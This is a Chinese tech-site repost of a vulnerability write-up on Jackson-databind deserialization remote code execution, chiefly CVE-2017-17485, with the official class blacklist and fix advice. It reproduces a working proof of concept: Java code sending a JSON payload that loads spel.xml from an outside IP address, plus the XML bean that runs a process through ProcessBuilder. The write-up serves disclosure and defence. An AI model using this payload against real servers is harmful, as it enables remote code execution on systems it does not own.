Jackson反序列化远程代码执行漏洞

栏目: Java · 发布时间: 6年前

内容简介:Jackson反序列化远程代码执行漏洞

北京时间2017年4月15日,Jackson框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于Jackson框架下的enableDefaultTyping方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。

Jackson是一个开源的 Java 序列化与反序列化工具,可以将java对象序列化为xml或json格式的字符串,或者反序列化回对应的对象,由于其使用简单,速度较快,且不依靠除JDK外的其他库,被众多用户所使用。

关于历史漏洞的分析可以参考,绿盟科技在17年发表的技术分析文章: http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/

漏洞触发链

getOutputProperties()->newTransFormer()→newInstance()

构造方式

通过java生态中的第三方库存在的序列化方法构造序列化恶意攻击代码,并将恶意代码base64编码后拼接到一个精心构造的json数据包中,代码层如果在使用ObjectMapper对象实例时

(ObjectMapper mapper = new ObjectMapper();)开启了enableDefaultType特性(例如mapper.enableDefaultTyping();),会在readValue时对传入的JSON自动调用第三方库的反序列化方法,造成代码执行。

官方修复方式

官方在漏洞产生后,通过黑名单的方式禁止黑名单中的第三方库因为反序列化问题而产生的代码执行漏洞。

黑名单如下:

org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

新漏洞的产生(CVE-2017-17485)

众所周知黑名单是一种不可靠的修复方式,攻击者常常可以通过一些手段绕过黑名单,造成漏洞影响。

安全研究人员发现,在开启enableDefaultTyping()的前提下可以通过Jackson-databind来滥用Spring spel来执行任意命令。

POC

关于Jackson-databind漏洞所有的poc验证代码: https://github.com/shengqi158/Jackson-databind-RCE-PoC Code by 廖新喜

其中CVE-2017-17485的验证代码:

package jackson;
 
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
import java.lang.reflect.Array;
 
/**
 * Created by liaoxinxi on 2017-12-11.
 */
 
public class TestJdbcRowSetImplPoc {
    public static void main(String args[]){
        testSpringFramework();
    }
 
    public static void testSpringFramework(){
        //CVE-2017-17485
        // 假设这是攻击者可以控制的请求包payload
        String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", " +
                "\"http://188.51.32.233/spel.xml\"]\n";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

spel.xml文件内容:

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder">
     <constructor-arg value="/Applications/Calculator.app/Contents/MacOS/Calculator" />
     <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

造成代码执行:

Jackson反序列化远程代码执行漏洞

官方已经更新黑名单列表,并计划在Jackson的大版本3.X通过api层实现基于白名单的序列化方式来应对多态类:

org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.xalan.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
java.util.logging.FileHandler
java.rmi.server.UnicastRemoteObject
org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
org.springframework.beans.factory.config.PropertyPathFactoryBean
com.mchange.v2.c3p0.JndiRefForwardingDataSource
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

修复建议

  • 升级到最新版本jackson-databind 2.7.9.2,2.8.11,2.9.3.1(2018-01-13 00:04:20该版本还未发布)
  • 禁用enableDefaultTyping()方法;
  • 对客户端传入的JSON数据,进行过滤或者类型检查。

参考链接


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

日赚500元

日赚500元

董俊峰 / 2008-5 / 20.00元

《日赚500元:揭开网络赚钱的秘密》是一本大学生网络创业必看的图书,一本想在网络上创业的人必看的图书。懂懂团队第一个操作Google FireFox下载项目,第一个操作“域名停靠”项目。第一个操作Google账号推介项目。首次提出“网赚”这个概念,并创造性地将“网赚”的过程分为3个阶段。《日赚500元:揭开网络赚钱的秘密》揭开了网络上一些行为的本质。一起来看看 《日赚500元》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

随机密码生成器
随机密码生成器

多种字符组合密码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器